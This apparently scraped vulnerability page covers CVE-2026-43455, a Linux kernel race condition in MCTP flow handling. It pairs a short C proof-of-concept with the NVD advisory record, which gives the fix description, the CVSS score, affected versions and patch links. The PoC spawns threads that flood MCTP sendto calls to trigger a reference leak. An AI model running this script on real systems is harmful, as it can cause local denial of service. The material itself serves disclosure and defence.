CVE-2026-43455

/* * PoC for CVE-2026-43455 (Race Condition in mctp_flow_prepare_output) * This code attempts to trigger the race condition by creating multiple * threads that send MCTP messages simultaneously. * * Compile: gcc -o poc_mctp poc_mctp.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <sys/socket.h> #include <linux/mctp.h> #define NUM_THREADS 10 #define MCTP_ADDR 0x10 void *send_mctp_msg(void *arg) { int fd; struct sockaddr_mctp addr; char msg[32] = "Hello MCTP"; // Create an MCTP socket fd = socket(AF_MCTP, SOCK_DGRAM, 0); if (fd < 0) { perror("socket"); return NULL; } memset(&addr, 0, sizeof(addr)); addr.smctp_family = AF_MCTP; addr.smctp_network = MCTP_NET_ANY; addr.smctp_addr.s_addr = MCTP_ADDR; addr.smctp_type = MCTP_TYPE_CONTROL; // Loop to send messages rapidly to increase race window for (int i = 0; i < 1000; i++) { if (sendto(fd, msg, sizeof(msg), 0, (struct sockaddr *)&addr, sizeof(addr)) < 0) { // Ignore errors like "Network unreachable" for PoC purposes } } close(fd); return NULL; } int main() { pthread_t threads[NUM_THREADS]; printf("Starting PoC for CVE-2026-43455\n"); // Create multiple threads to trigger concurrency for (int i = 0; i < NUM_THREADS; i++) { if (pthread_create(&threads[i], NULL, send_mctp_msg, NULL) != 0) { perror("pthread_create"); exit(1); } } // Wait for all threads to complete for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("PoC execution finished. Check kernel logs for memory leaks or instability.\n"); return 0; }

{"cve": {"id": "CVE-2026-43455", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:58.263", "lastModified": "2026-05-20T18:04:20.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmctp: route: hold key->lock in mctp_flow_prepare_output()\n\nmctp_flow_prepare_output() checks key->dev and may call\nmctp_dev_set_key(), but it does not hold key->lock while doing so.\n\nmctp_dev_set_key() and mctp_dev_release_key() are annotated with\n__must_hold(&key->lock), so key->dev access is intended to be\nserialized by key->lock. The mctp_sendmsg() transmit path reaches\nmctp_flow_prepare_output() via mctp_local_output() -> mctp_dst_output()\nwithout holding key->lock, so the check-and-set sequence is racy.\n\nExample interleaving:\n\n CPU0 CPU1\n ---- ----\n mctp_flow_prepare_output(key, devA)\n if (!key->dev) // sees NULL\n mctp_flow_prepare_output(\n key, devB)\n if (!key->dev) // still NULL\n mctp_dev_set_key(devB, key)\n mctp_dev_hold(devB)\n key->dev = devB\n mctp_dev_set_key(devA, key)\n mctp_dev_hold(devA)\n key->dev = devA // overwrites devB\n\nNow both devA and devB references were acquired, but only the final\nkey->dev value is tracked for release. One reference can be lost,\ncausing a resource leak as mctp_dev_release_key() would only decrease\nthe reference on one dev.\n\nFix by taking key->lock around the key->dev check and\nmctp_dev_set_key() call."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.19", "matchCriteriaId": "D394AC60-6F28-435F-872A-CCDF384B8331"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0695712f3a6f1a48915f95767cfb42077683dcdc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/47893166bc5611ee9a20de6b8d2933b2320fb772", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7d86aa41c073c4e7eb75fd2e674f1fd8f289728a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/86f5334fcb48a5b611c33364ab52ca684d0f6d91", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8d27d9b260dd19c1b519e1a13de6448f9984e30e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/925a5ffd99cddd7a7e41d5ad120c7a2c6d50260f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}